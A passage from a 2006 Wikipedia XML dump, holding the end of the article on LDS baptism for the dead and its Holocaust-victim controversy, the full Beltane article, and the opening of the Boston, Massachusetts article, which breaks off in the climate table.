The Church holds that deceased persons who have not accepted or had the opportunity to accept the gospel of Christ in this life will have the opportunity to accept the gospel in the afterlife.  But in order to do so they must receive all the ordinances that a living person is expected to receive, including baptism.  For this reason, [[genealogy]] forms an important basis of research in the Church's efforts to perform temple ordinances for as many deceased persons as possible.  As a part of these efforts, a number of high profile people have had temple ordinances performed on their behalf. Of particular interest are: the [[Founding Fathers]] of the U.S., [[President of the United States|Presidents]] of the U.S., [[John Wesley]], [[Christopher Columbus]], [[Jewish]] [[the Holocaust|Holocaust]] victims, [[Genghis Khan]], [[Joan of Arc]], [[Adolf Hitler]], [[Josef Stalin]], and [[Gautama Buddha|Buddha]]. Vicarious baptism does not mean that the decedent actually accepts the ordinance performed for him or her or that the deceased becomes a member of the LDS church; it merely means that the decedent ''may'' accept the ordinance and the benefits which the Latter-day Saints claim it provides.  However, Church leaders have stated that the people in the afterlife for whom these ordinances have been performed will rarely reject it.

While members of The Church of Jesus Christ of Latter-day Saints consider it a great service to perform vicarious ordinances for the deceased, some non-members have taken offense.  To be sensitive to the issue of vicariously baptizing non-Mormons that are not related to Church members, the Church in recent years has publicized a policy of generally only performing temple ordinances for direct ancestors of Church members.  For example, the Church is in the process of removing sensitive names (such as Jewish Holocaust victims) from its [[International Genealogical Index]]. [[D. Todd Christofferson]] of the Church's [[Presidency of the Seventy]] stated that removing the names is an &quot;ongoing, labor intensive process requiring name-by-name research ... When the Church is made aware of documented concerns, action is taken ... Plans are underway to refine this process.&quot;

== History ==
Baptism for the dead was practiced by some Christian groups in the late fourth century and possibly earlier. [[John A. Tvedtnes]], a Hebrew and early Christian scholar at Brigham Young University, Utah writes:

:That baptism for the dead was indeed practiced in some orthodox Christian circles is indicated by the decisions of two late fourth century councils. The fourth canon of the Synod of Hippo, held in 393, declares, &quot;The Eucharist shall not be given to dead bodies, nor baptism conferred upon them.&quot; The ruling was confirmed four years later in the sixth canon of the Third Council of Carthage.

Some argue that the fact that these two councils felt it necessary to explicity forbid baptism for the dead shows that there must have been a significant group of people practicing it, accompanied by opposition to it by the church's leadership. Others disagree with the classification of such groups as &quot;orthodox&quot;, since the councils concluded that they were in fact unorthodox, at least with respect to that practice.

Some members of the LDS church see significant parallels between the Baptism for the Dead and the [[prayer]]s and [[requiem|requiem masses]] read for the dead in some churches (e.g. [[Roman Catholic Church|Roman Catholic]]), both historical and modern. Others see similarities to other doctrines associated with [[Purgatory]]. These parallels are disputed by many non-Mormons and Mormons. 

According to the International Standard Bible Encyclopedia, &quot;Tertullian believed that Paul referred to a custom of vicarious baptism (Res., 48c; Adv. Marc., 5.10). There is evidence that the early church knew such a practice. Epiphanius mentions a tradition that the custom obtained among the Cerinthians (Haer., 28 6). And Chrysostom states that it prevailed among the Marcionites.&quot; All of these supporters were considered heretics by the early Church: Tertullian died outside the church as a [[montanism|Montanist]]; the Cerinthians were a Gnostic group that also denied that Jesus Christ was crucified; and the Marcionites were yet another Gnostic group who followed [[Marcion]], who was also excommunicated from the Church before forming his own sect.

== Christian opposition ==

Other Christian denominations generally do not accept the Latter-day Saint interpretation of baptism for the dead contemplated in [http://scriptures.lds.org/1_cor/15/29#29 1 Corinthians 15:29], and no contemporary Christian church practices a similar ordinance. In this chapter Paul is arguing, to Christians in Corinth, against those who do not believe in the bodily resurrection. While there are different approaches taken to interpreting the meaning of this scripture, some mainstream Christians believe Paul was merely demonstrating the logical contradiction between the practices of these local Christians and their lack of belief in the resurrection.  Others believe that &quot;the dead,&quot; though plural in the original Greek, refers to Christ (&quot;Why are you then baptized in to Christ, if he rise not at all&quot;), or to the symbol of Baptism - the death, burial and resurrection of the individual as they begin their new life as a disciple of Jesus Christ.  Other scholars are not exactly sure about what Paul meant by the comments (see links below).

Another counter-argument to baptism for the dead is that there is little or no record (or incomplete, or disputed) of any mainstream Christian denomination historically practicing it, and therefore it fails the test set forth by Saint [[Vincent of Lerins]], that Christians should believe that which &quot;has been believed by all Christians in all places at all times.&quot;

Among the major reasons many Christians dismiss this practice is that they do not believe salvation is dependent on baptism at all.  Further, that Christ's example of being baptized by John the Baptist is irrelevant to one's own personal salvation. The practice of Baptism for the Dead also appears to some Christians to abrogate the individual's personal responsibility. It is not, however, meant to change the standing of the dead in [[God]]'s eyes, only to provide them the opportunity to do so themselves.

== Holocaust victim controversy==

It is asserted that The Church of Jesus Christ of Latter-day Saints has made it a long term practice to vicariously baptize [[the Holocaust]]'s [[Jew]]ish victims and other prominent individuals. However, Church policy states that Church members submit their own names for these type of ordinances, and require that a surviving family member's permission be obtained for ''any'' Baptism that is to be performed of deceased individuals that have died within a certain time period (usually 50-75 years). 

However, some baptisms were done for Holocaust Victims, without proper approval or permission. When this information became public, it generated vocal criticism of the LDS Church (though not rising to the level of [[anti-Mormonism]]) from Jewish groups, who found this ritual to be insulting and insensitive (though not rising to the level of [[anti-Semitism]]). Partly as a result of public pressure, Church leaders in [[1995]] promised to put into place new policies that would help stop the practice, unless specifically requested or approved by relatives of the victims.

In late [[2002]], information surfaced that members of the Church had not stopped this practice despite directives from the Church leadership to its members, and criticism from Jewish groups began again. The [[Simon Wiesenthal Center]], [[Los Angeles, California|Los Angeles]], is on record as opposing the vicarious baptism of Holocaust victims. Rabbi [[Marvin Hier]] of the Center holds: &quot;If these people did not contact the Mormons themselves, the adage should be: Don't call me, I'll call you. With the greatest of respect to them, we do not think they are the exclusive arbitrators of who is saved.&quot; Recently Church leaders have agreed to meet with leaders of the [[World Gathering of Jewish Holocaust Survivors]].

In December 2002, independent researcher [[Helen Radkey]] published a report showing that the Church's 1995 promise to remove Jewish Nazi victims from its International Genealogical Index was not sufficient; her research of the Church's database uncovered the names of about 19,000 who had a 40 to 50 percent chance of having &quot;the potential to be Holocaust victims...in Russia, Poland, France, and Austria.&quot; 

Genealogist [[Bernard Kouchel]] conducted a search of the International Genealogical Index, and discovered that many well known Jews have been vicariously baptized, including [[Rashi]], [[Maimonides]], [[Albert Einstein]], [[Menachem Begin]], [[Irving Berlin]], [[Marc Chagall]], and [[Gilda Radner]]. Some permissions may have been obtained, but there is not currently a system in place to ensure that these permissions have been obtained, which has angered many in various religious and cultural communities. 

In 2004, Schelly Talalay Dardashti, Jewish genealogy columnist for [[Jerusalem Post|''The Jerusalem Post'']] noted that Jews, even those with no Mormon descendants, are being rebaptised after being removed from the rolls. In an interview, D. Todd Christofferson, a church official, told ''The New York Times'' that it was not feasible for church to continuously monitor the archives to ensure that no new Jewish names appear. The agreement referred to above did not place this type of responsibility on the centralized Church leadership. 

''See also:'' [[ancestor liberation]]

==References==

*Roberts, B.H. (editor); ''History of The Church of Jesus Christ of Latter-day Saints''; The Deseret Book Company; ISBN 0-87579-490-4 (revised 2nd edition, softcover, 1975)
*Tvedtnes, John A.; ''Baptism for the Dead: The Coptic Rationale''; Retrieved Aug 19, 2003, from http://www.fairlds.org/apol/misc/misc23.html

==External links==

=== Links with a Neutral Viewpoint about Baptism for the Dead===
*[http://www.bbc.co.uk/religion/religions/mormon/features/rites/baptismdead.shtml Baptism for the Dead] The BBC's Religion and Ethics report
*[http://www.ctlibrary.com/ct/1998/august10/8t9063.html Directions: Did Paul Baptize for the Dead?] From Christianity Today
*[http://prosblogion.ektopos.com/archives/2005/06/baptism_for_the.html Baptism for the Dead] A philosophical consideration of paedobaptism and baptism for the dead.

=== Opposed to Mormon Baptism for the Dead ===

* [http://www.ccel.org/s/schaff/encyc/encyc01/htm/iii.ix.xiii.htm Christian Classics Ethereal Library] 
* [http://christiananswers.net/q-eden/edn-r001.html Christian Answers] 
* [http://www.cornerstonechurchonline.com/biblestudies/baptism4thedead.htm Cornerstone Church, Garden City, Kansas] 
* [http://www.nccg.org/FAQ116-BapDead.html New Covenant Church of God]

=== In Favor of Baptism for the Dead ===

* [http://www.lightplanet.com/mormons/basic/temples/Baptism_Ancient_EOM.htm Ancient Sources for Baptism of the Dead] By Krister Stendahl
* [http://www.jefflindsay.com/LDSFAQ/FQ_BaptDead.shtml Questions about Baptism for the Dead] By Jeff Lindsay
* [http://farms.byu.edu/display.php?table=review&amp;id=297 Does the Bible Teach Salvation for the Dead?] By John A. Tvedtnes
* [http://www.geocities.com/Athens/Parthenon/2671/ECBapDd.html Mormonism and Early Christianity: Baptism for the Dead] By Barry Bickmore
* [http://deseretbook.com/personalwritings/78 To All the Saints] Letters from Joseph Smith regarding proxy baptisms

===About unauthorized proxy baptisms===
* [http://www.cnn.com/2002/US/West/12/10/baptizing.the.dead.ap/ ''Mormons meet with Jews over baptizing Holocaust victims'' from CNN.com]
* [http://www.sltrib.com/2002/Dec/12122002/utah/10420.asp ''LDS Church Reaffirms No Proxy Baptisms of Jews'' from The Salt Lake Tribune]
* [http://www.jpost.com/servlet/Satellite?pagename=JPost/JPArticle/ShowFull&amp;cid=1088650997941&amp;apage=1 Vicarious baptism of Jews continues in 2004]

[[de:Totentaufe]]

[[Category:Latter Day Saint doctrines, beliefs, and practices]]
[[Category:Latter Day Saint ordinances, rituals, and symbolism]]
[[Category:Baptism]]</text>
    </revision>
  </page>
  <page>
    <title>Beltane</title>
    <id>4306</id>
    <revision>
      <id>38837593</id>
      <timestamp>2006-02-08T23:34:32Z</timestamp>
      <contributor>
        <username>Jonathanischoice</username>
        <id>89764</id>
      </contributor>
      <minor />
      <text xml:space="preserve">:''This article is about the Gaelic holiday. For the [[Celtic metal|Celtic doom metal]] band see [[Beltaine (band)]], for the [[Inkubus Sukkubus]] album see [[Beltaine (album)]], and for the song by [[Marc Bolan]] and [[T. Rex (band)|T. Rex]] see [[Beltane Walk]].''

{|  border=&quot;1&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; width=&quot;40%&quot; style=&quot;float:right; margin-left:15px&quot;
|  colspan=&quot;3&quot; bgcolor=#33FFFF | &lt;center&gt;&lt;font size=&quot;+1&quot;&gt;'''Beltane'''&lt;/font&gt;&lt;/center&gt;
|-
|  bgcolor=&quot;#33FFFF&quot; | Observed by:
|  bgcolor=&quot;white&quot; | [[Gaels]], [[neopaganism|Neopagans]],
|-
|  bgcolor=&quot;#33FFFF&quot; | Other names
|  bgcolor=&quot;white&quot; | Beltaine, Bealtuinn
|-
|  bgcolor=&quot;#33FFFF&quot; | Meaning:
|  bgcolor=&quot;white&quot; | &quot;Bright fire&quot;
|-
|  bgcolor=&quot;#33FFFF&quot; | Begins:
|  bgcolor=&quot;white&quot; | Around the midpoint of the Sun's movement&lt;br&gt;between the [[Vernal Equinox]] and [[Summer Solstice]].
|-
|  bgcolor=&quot;#33FFFF&quot; | Occasion:
|  bgcolor=&quot;white&quot; | Traditional first day of summer in Ireland
|-
|  bgcolor=&quot;#33FFFF&quot; | Symbols:
|  bgcolor=&quot;white&quot; | Bale fire
|-
|  bgcolor=&quot;#33FFFF&quot; | Related to:
|  bgcolor=&quot;white&quot; | [[Walpurgis Night]], [[May Day]]
|}

'''Beltane''' or '''Beltaine''' is an ancient [[Gaels|Gaelic]] holiday celebrated around [[May 1]]. '''Bealtaine''' (pronounced [[International Phonetic Alphabet|IPA]] /{{IPA|ˈbʲɑlˠ.t̪ˠə.n̪ʲə}}/) is the name for the month of [[May]] in [[Irish language|modern Irish]], and is also the traditional first day of summer in [[Republic of Ireland|Ireland]]. It is a [[Cross-quarter day]], marking the midpoint in the [[Sun]]'s progress between the [[Vernal Equinox]] and [[Summer Solstice]]. The [[astronomy|astronomical]] date for this midpoint (Old Beltane) is slightly later, [[May 5]].

==Etymology==

''Beltane'' derives from the [[Irish language|Irish]] ''Beáltaine'' or [[Scottish Gaelic language|Scottish Gaelic]] ''Bealtuinn''; both from Old Irish ''Beltene'' &quot;bright fire&quot; from ''belo-te(p)niâ''), where ''belo-'' is allied to the English word ''bale'' (as in ''bale-fire''), the [[Anglo-Saxon]] ''bael'', and also the [[Lithuanian language|Lithuanian]] ''baltas'', meaning &quot;white&quot; or &quot;shining&quot; from which the [[Baltic]] takes its name.

In [[Gaelic]] the terminal vowel ''-o'' (from ''Belo'') was dropped, as shown by numerous other transformations from early or Proto-Celtic to Early Irish, thus the Gaulish god-names [[Belenos]] (&quot;bright one&quot;) and his partner [[Belisama]].  Belenos was probably the same divinity, originally from ''belo-nos'' &quot;our shining one&quot;, is also from the same source, as was [[Shakespeare|Shakespeare's]] [[Cymbeline|Cym-beline]]. 

From the same [[Proto-Celtic]] roots we get a wide range of other words: the verb ''beothaich'', from Early Celtic ''belo-thaich'' (to kindle, light, revive, or re-animate); ''baos'', from ''Baelos'' (shining); ''beòlach'' (ashes with hot embers), from ''beò'' (originally ''belo'') + ''luathach'', &quot;shiny-ashes&quot; or &quot;live-ashes&quot;.

Metaphorically a ''beolach'' was also a shining youth or a lively youth, a hero, ''beò-lach'' or ''belo-lach''; for ''-lach'' (youth). Similarly ''boil'', ''boile'' came from &quot;fiery madness&quot;, through Irish ''buile'', Early Irish ''baile'': and ''boillsg'' (gleam); ''bolg-s-cio-''; related to [[Latin]] ''fulgeo'', &quot;shine&quot;, English ''effulgent'', Lithuanian ''blizgù'', glance, shine, English ''blink'' (where the shine causes eyes to shut), [[Proto-Indo-European language|Proto-Indo-European]] ''bhleg'' -&gt; ''fulgeo'' ([[Grimms' Law]]). In this way the Celtic tribe of [[Belgae]] in Northern France from which Belgium today takes its name, may derive from the same root.  One of its tribes was called the [[Bellovaci]].  Some have suggested that the Ancient Irish &quot;[[Fir Bolg]]&quot; (i.e. &quot;the Shining Ones&quot;) of [[Celtic mythology]] may have derived from the same word.

==Origins of Beltane==

Early Gaelic sources from around the [[10th century]] state that the [[Druidry|Druid]]s would create a [[need-fire]] on top of a hill on this day and rush the village's cattle through the fires to purify them and bring luck (&quot;Eadar dà theine Bhealltuinn&quot; in Scottish Gaelic, &quot;Between two fires of Beltane&quot;). People would also go between the fires to purify themselves. This was echoed throughout history after [[Christianization]], with lay people instead of Druid priests creating the need-fire. The festival persisted widely up until the [[1950s]], and in some places the celebration of Beltane continues today. A revived Beltane Fire Festival has been held every year (except [[2003]]) during the night of [[30 April]] on [[Calton Hill, Edinburgh|Calton Hill]] in [[Edinburgh]], [[Scotland]] since [[1988]], and attended by up to 15,000 people.

Beltane is a specifically Gaelic holiday, not &quot;[[Celt]]ic&quot;, as other Celtic cultures, such as the [[Culture of Wales|Welsh]], [[Culture of Brittany|Bretons]], and Gauls, do not celebrate it - though many cultures did celebrate a springtime festival known by various names.

In [[neopaganism]], the name '''Beltane''' or '''Beltaine''' is used for a [[Sabbat (neopaganism)|sabbat]], one of the eight solar holidays, which is celebrated on this day. Although the holiday uses features of the Gaelic Beltane, such as the [[bonfire|bonfire]], it bears more relation to the Germanic [[May Day]] festival, both in its significance (focusing on fertility) and its rituals (such as [[maypole]] dancing). High Beltaine is celebrated through a reenactment of intercourse between the May Lord and Lady. [[Gerald Gardner]], the principal originator of the [[Wicca|Wiccan]] religion, referred to the holiday as May Eve.

Among the neopagan sabbats, Beltane is a [[cross-quarter day]]; it is celebrated in the northern hemisphere on [[May 1]] and in the southern hemisphere on [[November 1]]. Beltane follows [[Ostara]] and precedes [[Midsummer]] (see the [[Wheel of the Year]]).

==See also==
*[[Midsummer]]/[[summer solstice]], [[Lughnasadh]], [[Mabon]]/[[autumn equinox]], [[Samhain]], [[Yule]]/[[winter solstice]], [[Imbolc]] and [[Ostara]]/[[spring equinox]].
*[[Walpurgis Night]].

==External links==
* [http://www.beltane.org/ Edinburgh's Beltane Fire Society]
* [http://users.compaqnet.be/cn111132/Frazer/155.html Extract on The Beltane Fires from Sir James George Frazer's book The Golden Bough - 1922]
* [http://www.witchvox.com/holidays/xbeltaine.html Beltane on WitchVox]
* [http://paganwiccan.about.com/od/beltane/ Beltane on About.com]

[[Category:Neopagan holidays]]

[[bg:Белтейн]]
[[de:Beltane]]
[[eo:Belteno]]
[[fr:Beltaine]]
[[it:Beltane]]
[[pt:Beltane]]</text>
    </revision>
  </page>
  <page>
    <title>Boston, Massachusetts</title>
    <id>4309</id>
    <revision>
      <id>42048968</id>
      <timestamp>2006-03-03T13:11:51Z</timestamp>
      <contributor>
        <username>Uris</username>
        <id>174426</id>
      </contributor>
      <comment>/* Demographics */ This is [[original research]] that assumes other cities wouldn't also revert to their all-time highs.</comment>
      <text xml:space="preserve">{{featured article}}
{{Infobox City | 
official_name = Boston, Massachusetts | 
image_skyline = Boston - Charles River View 2006.jpg |
nickname = City on a Hill, Beantown, The Hub (of the [[Solar System]]), [[Athens, Greece|Athens]] of America |
image_flag = Us-ma-bo.png | 
image_seal = boston_city_seal.png | 
image_map = Boston_ma_highlight.png | 
map_caption = Location in [[Massachusetts]] | 
subdivision_type = [[Counties of the United States|Counties]] | 
subdivision_name = [[Suffolk County, Massachusetts|Suffolk County]]| 
leader_title = [[Mayor]] | 
leader_name =  [[Thomas Menino]] ([[United States Democratic Party|Dem]])| 
area_magnitude = 1 E8 | 
area_total = 89.6 mi&amp;sup2; / 232.1 | 
area_land =  48.4 mi&amp;sup2; / 125.4 | 
area_water = 41.2 mi&amp;sup2; / 106.7 |
population_as_of = 2000 | 
population_metro = 5.8 million |
population_total = 589,141 | 
population_density = 4,696.9 | 
timezone = [[Eastern Standard Time Zone|Eastern]] | 
utc_offset = -5 | 
timezone_DST = [[Eastern Standard Time Zone|Eastern]] | 
utc_offset_DST = -4 | 
latd=42 |latm=21 |lats=0 |latNS=N |
longd=71 |longm=4 |longs=60 |longEW=W |
website = [http://www.cityofboston.gov www.cityofboston.gov] | 
footnotes = 
}}
{{redirect|Boston}}
'''Boston''' is the [[capital]] and largest city in the [[Massachusetts|Commonwealth of Massachusetts]] in the [[United States]]. It is the unofficial capital of the region known as [[New England]], and one of the oldest, wealthiest, and most culturally significant large cities in the United States. Its economy is based on education, health care, finance, and technology.

Boston has many nicknames. ''The City on a Hill'' came from the original Massachusetts Bay Colony's governor [[John Winthrop]]'s goal to create the biblical &quot;City on a Hill.&quot; It also refers to Boston's original three hills. ''Beantown'' refers to early Bostonian merchants' habit for making baked beans with imported molasses. ''The Hub'' is a shortened form of writer [[Oliver Wendell Holmes, Sr.|Oliver Wendell Holmes]]'s phrase ''The Hub of the Solar System'', now more commonly referred to as ''The Hub of the Universe''. [[William Tudor (1779-1830)|William Tudor]], co-founder of the ''[[North American Review]]'', christened the city ''The Athens of America'' for its great cultural and intellectual influence. Boston is sometimes called ''Puritan City'' because its founders were [[Puritans]]. The city is also sometimes called ''The Cradle of Liberty'' for its role in instigating the [[American Revolution]]. Citizens of Boston and the surrounding area are called ''[[Bostonian|Bostonians]]''.

The city lies at the center of the Boston CMSA (Consolidated Metropolitan Statistical Area), the seventh largest in the United States. The area encompasses parts of the states of New Hampshire, Maine, Rhode Island, and Connecticut. The city also lies at the center of [[Greater Boston]], which also includes the cities of [[Cambridge, Massachusetts|Cambridge]], [[Brookline, Massachusetts|Brookline]], [[Quincy, Massachusetts|Quincy]], [[Newton, Massachusetts|Newton]], and many suburban communities farther from Boston.

==History==
[[Image:Boston_Old_State_House-200px.jpg|thumb|200px|The 18th century [[Old State House (Boston)|Old State House]] in Boston is surrounded by tall buildings of the [[19th century|19th]] and [[20th century|20th centuries]].]]
{{main|History of Boston, Massachusetts}}
Boston was founded on [[September 17]], [[1630]], on a [[peninsula]] called ''[[Shawmut]]'' by its original [[Native Americans in the United States|Native American]] inhabitants. The peninsula was connected to the mainland by a narrow [[isthmus]], and surrounded by the waters of [[Massachusetts Bay]] and the marshes at the mouth of the [[Charles River]]. Boston's early European settlers first called the area ''Trimountaine''. They later renamed the town for [[Boston, Lincolnshire|Boston]], [[England]], in [[Lincolnshire]], from which several prominent [[Pilgrims|&quot;pilgrim&quot;]] colonists emigrated. A majority of Boston's early citizens were [[Puritans]]. [[Massachusetts Bay Colony]]'s original governor, [[John Winthrop]], gave a famous sermon entitled &quot;a [[City upon a Hill]],&quot; which captured the idea that Boston had a special covenant with God. Puritan ethics molded an extremely stable and well-structured society in Boston. For example, shortly after Boston's settlement, Puritans founded America's first school, [[Boston Latin School]] (1635), and America's first college, [[Harvard College]] (1636). Hard work, moral uprightness, and an emphasis on education remain part of Boston's culture.

During the early 1770s, British attempts to exert control on the [[Thirteen Colonies|thirteen colonies]], primarily via taxation, prompted Bostonians to initiate the [[American Revolution]]. The [[Boston Massacre]], the [[Boston Tea Party]], and several early battles occurred in or near the city, including the [[Battle of Lexington and Concord]], [[Battle of Bunker Hill]], and the [[Siege of Boston]]. During this period, [[Paul Revere]] made his famous midnight ride.

After the Revolution, Boston became one of the world's wealthiest international trading ports — major exports were rum, fish, salt, and tobacco. During this era, descendants of old Boston families became regarded, in the American popular mind, as the nation's social and cultural elites; they were later dubbed the ''[[Boston Brahmins]]''. In 1822, Boston was chartered as a city. By the mid-1800s, the city's industrial manufacturing overtook international trade in economic importance. Until the early 1900s, Boston remained one of the nation's largest manufacturing centers, and was notable for its [[Clothing|garment]] production, [[leather]] goods, and machinery industries. From the mid-to-late-nineteenth century, Boston flourished culturally — it became renowned for its rarefied literary culture and lavish artistic patronage. It also became a center of the [[Abolitionism|abolitionist]] movement.

In the 1820s, Boston's ethnic composition began to change dramatically; groups like the Irish and Italians moved into the city and brought with them [[Roman Catholicism]]. Currently, Catholics make up Boston's largest religious community. The Irish played a major role in Boston politics — prominent figures include the [[Kennedy family|Kennedys]] and [[John F. Fitzgerald]]. 

[[Image:Boston 1772.gif|thumb|left|200px|Boston in 1772 and 1880. The original area of the Shawmut Peninsula was substantially expanded by landfill.]]
Between 1630 and 1890, the city tripled its physical size by [[land reclamation]], specifically by filling in marshes and mud flats and by filling gaps between wharves along the waterfront,{{ref|landfillfoot}} a process [[Walter Muir Whitehill]] called &quot;cutting down the hills to fill the coves.&quot; The most intense reclamation efforts were in the [[1800s]]. Beginning in 1807, the crown of Beacon Hill was used to fill in a 50-[[acre]] (20 [[hectare]]s) mill pond that later became the Bulfinch Triangle (just south of today's North Station area). The present-day [[Massachusetts State House|State House]] sits atop this shortened Beacon Hill. Reclamation projects in the middle of the century created significant parts of the areas now known as the South End, West End, Financial District, and Chinatown. After [[Great Boston Fire of 1872|The Great Boston Fire of 1872]], building rubble was used as landfill along the downtown waterfront. The most dramatic reclamation project was the filling in of the Back Bay in the mid to late 1800s. Almost six hundred acres (240 hectares) of brackish Charles River marshlands west of the Boston Common were filled in with soil brought in by rail from the hills of Needham Heights. Boston also grew by annexing the adjacent communities of [[East Boston, Massachusetts|East Boston]], [[Dorchester, Massachusetts|Dorchester]], [[South Boston, Massachusetts|South Boston]], Brighton, Allston, Hyde Park, and [[Charlestown, Massachusetts|Charlestown]], some of which were also  augmented by landfill reclamation.

[[Image:Scollay1880s.jpg|thumb|180px|[[Scollay Square|Scollay Square, Boston]], Boston, in the 1880s]]
By the early and mid-20th century, the city was in decline as factories became old and obsolete, and businesses moved out of the region for cheaper labor elsewhere. Boston responded by initiating various [[urban renewal]] projects, including the demolition of the old West End neighborhood and the construction of [[Government Center, Boston, Massachusetts|Government Center]]. In the 1970s, Boston boomed after thirty years of economic downturn, becoming a leader in the [[mutual fund]] industry. Boston already had a reputation for excellent healthcare services. Hospitals such as [[Massachusetts General Hospital]], [[Beth Israel Deaconess Medical Center]], and [[Brigham and Women's Hospital]] led the nation in medical innovation and patient care. Universities such as Harvard, [[Massachusetts Institute of Technology|MIT]], and [[Boston University]] attracted many students to the Boston area. Nevertheless, the city experienced conflict starting in 1974 over [[desegregation busing]], which resulted in unrest and violence around public schools throughout the mid-1970s. The unrest served to highlight racial tensions in the city.

Over the past several decades, Boston has experienced a dramatic loss of regional institutions and traditions, which once gave it a very distinct social character. Boston has begun to resemble other parts of the continuous string of Northeast seaboard cities dubbed the [[BosWash]] [[megalopolis]]. The city faces [[gentrification]] issues and exorbitant living costs. Conversely, Boston's streets currently bustle with a vitality not seen since the 1920s. Once again Boston has become a hub of intellectual, technological, and political ideas.

==Geography and climate==
[[Image:Boston_Landsat.jpg|thumb|A simulated-color satellite image of the Boston area taken on [[NASA]]'s [[Landsat 3]].]]

===Geography===
According to the [[United States Census Bureau]], the city has a total area of 232.1&amp;nbsp;[[square kilometre|km&amp;sup2;]] (89.6&amp;nbsp;[[square mile|mi&amp;sup2;]]).  125.4&amp;nbsp;km&amp;sup2; (48.4&amp;nbsp;mi&amp;sup2;) of it is land and 106.7&amp;nbsp;km&amp;sup2; (41.2&amp;nbsp;mi&amp;sup2;) of it is water. The total area is 46.0% water. With an elevation of 19&amp;nbsp;[[foot (unit of length)|feet]] (5.8&amp;nbsp;m) above sea level at [[Logan International Airport]], Boston is bordered by the cities of [[Winthrop, Massachusetts|Winthrop]], [[Revere, Massachusetts|Revere]], [[Chelsea, Massachusetts|Chelsea]], [[Everett, Massachusetts|Everett]], [[Somerville, Massachusetts|Somerville]], [[Cambridge, Massachusetts|Cambridge]], [[Watertown, Massachusetts|Watertown]], [[Newton, Massachusetts|Newton]], [[Brookline, Massachusetts|Brookline]], [[Needham, Massachusetts|Needham]], [[Dedham, Massachusetts|Dedham]], [[Canton, Massachusetts|Canton]], [[Milton, Massachusetts|Milton]], and [[Quincy, Massachusetts|Quincy]]—often known as, and considered a part of, ''[[Greater Boston]]''.

Much of the [[Back Bay, Boston|Back Bay]] and [[South End]] are built on [[Land reclamation|reclaimed land]]—two and a half of Boston's three original hills were used as a source of material for landfill. Only [[Beacon Hill, Boston, Massachusetts|Beacon Hill]], the smallest of the three original hills, remains partially intact. The downtown area and immediate surroundings consist mostly of low-rise brick or stone buildings, with many older buildings in the [[Federal architecture|Federal style]]. Several of these buildings mix in with modern high-rises, notably in the Financial District, [[Government Center (Boston)|Government Center]], Back Bay, and the South Boston waterfront. To this day, the [[South End]] Historical District remains the nation's largest surviving contiguous Victorian-era neighborhood. Smaller commercial areas are interspersed amongst single-family homes and wooden/brick multifamily row houses.

The [[Charles River]] separates Boston proper from Cambridge, Watertown, and the neighborhood of Charlestown. To the east lies [[Boston Harbor]] and the [[Boston Harbor Islands]], many of which are part of the [[Boston Harbor Islands National Recreation Area]], operated by the [[National Park Service]]. The [[Neponset River]] forms the boundary between Boston's southern neighborhoods and the cities of  Quincy and Milton. The [[Mystic River]] separates the neighborhoods of East Boston and Charlestown from Chelsea and Everett.

===Climate===
[[Image:CharlesRiverSnowMotl.JPG|thumb|right|Looking at Boston's Back Bay from Cambridge in the winter]]
Boston experiences a [[continental climate]] that is very common in [[New England]]. The weather in Boston, like much of New England, changes rapidly. It is not uncommon for the city to experience temperature swings of 30&amp;nbsp;&amp;deg;C (54&amp;nbsp;&amp;deg;F) or more over the course of a couple of days. Summers are typically warm and humid, while winters are cold, windy and snowy. It has been known to snow in October and get quite mild in February. The hottest month is July, with an average high of 28&amp;nbsp;&amp;deg;[[Celsius|C]] (82&amp;nbsp;&amp;deg;[[Fahrenheit|F]]) and a low of 18&amp;nbsp;&amp;deg;C (64&amp;nbsp;&amp;deg;F). The coldest month is January, with an average high of 2.2&amp;nbsp;&amp;deg;C (36&amp;nbsp;&amp;deg;F) and a low of -5.6&amp;nbsp;&amp;deg;C (22&amp;nbsp;&amp;deg;F).{{ref|temperature}} Brief periods exceeding 35&amp;nbsp;&amp;deg;C in summer and below -20&amp;nbsp;&amp;deg;C in winter are not uncommon, but rarely prolonged. The record high temperature is 39&amp;nbsp;&amp;deg;C (102&amp;nbsp;&amp;deg;F) recorded in 1926 and the record low temperature is -28&amp;nbsp;&amp;deg;C (-18&amp;nbsp;&amp;deg;F) recorded in 1934. The city averages 1080&amp;nbsp;[[millimeters|mm]] (42&amp;nbsp;[[inch|in]]) of rainfall a year. It also coincidentally averages 108&amp;nbsp;[[centimeters|cm]] (42&amp;nbsp;in) of snowfall a year, though this increases dramatically as one goes inland away from the city. Massachusetts' geographic location's jutting out into the [[North Atlantic]] also make the city very prone to [[Noreaster]] weather systems that can dump more than 50 cm (20 in) of snow on the region in one storm event.

{| class=&quot;wikitable&quot;
! style=&quot;background: #99CCCC; color: #000080&quot; height=&quot;17&quot; | Month
! style=&quot;background: #99CCCC; color:#000080;&quot; | Jan
! style=&quot;background: #99CCCC; color:#000080;&quot; | Feb
! style=&quot;background: #99CCCC; color:#000080;&quot; | Mar
! style=&quot;background: #99CCCC; color:#000080;&quot; | Apr
! style=&quot;background: #99CCCC; color:#000080;&quot; | May
! style=&quot;background: #99CCCC; color:#000080;&quot; | Jun
! style=&quot;background: #99CCCC; color:#000080;&quot; | Jul
! style=&quot;background: #99CCCC; color:#000080;&quot; | Aug
! style=&quot;background: #99CCCC; color:#000080;&quot; | Sep
! style=&quot;background: #99CCCC; color:#000080;&quot; | Oct
! style=&quot;background: #99CCCC; color:#000080;&quot; | Nov
! style=&quot;background: #99CCCC; color:#000080;&quot; | Dec
! style=&quot;background: #99CCCC; color:#000080;&quot; | Year
|-
! style=&quot;background: #99CCCC; color:#000080;&quot; | Avg high [°C](°F)
| style=&quot;background: #FFFF99; color:#000080;&quot; | 2 (36)
| style=&quot;background: #FFFF99; color:#000080;&quot; | 4 (39)
| style=&quot;background: #FFCC66; color:#000080;&quot; | 8 (46)
| style=&quot;background: #FFCC00; color:#000080;&quot; | 13 (56)
| style=&quot;background: #FFCC00; color:#000080;&quot; | 19 (67)
| style=&quot;background: #FF9900; color:#000080;&quot; | 25 (77)
| style=&quot;background: #FF9900; color:#000080;&quot; | 28 (82)
| style=&quot;background: #FF9900; color:#000080;&quot; | 27 (80)
| style=&quot;background: #FF9900; color:#000080;&quot; | 23 (73)
| style=&quot;background: #FFCC00; color:#000080;&quot; | 17 (62)
| style=&quot;background: #FFCC66; color:#000080;&quot; | 11 (52)
| style=&quot;background: #FFFF99; color:#000080;&quot; | 6 (42)
| style=&quot;background: #FFCC00; color:#000080;&quot; | 15 (59)
|-
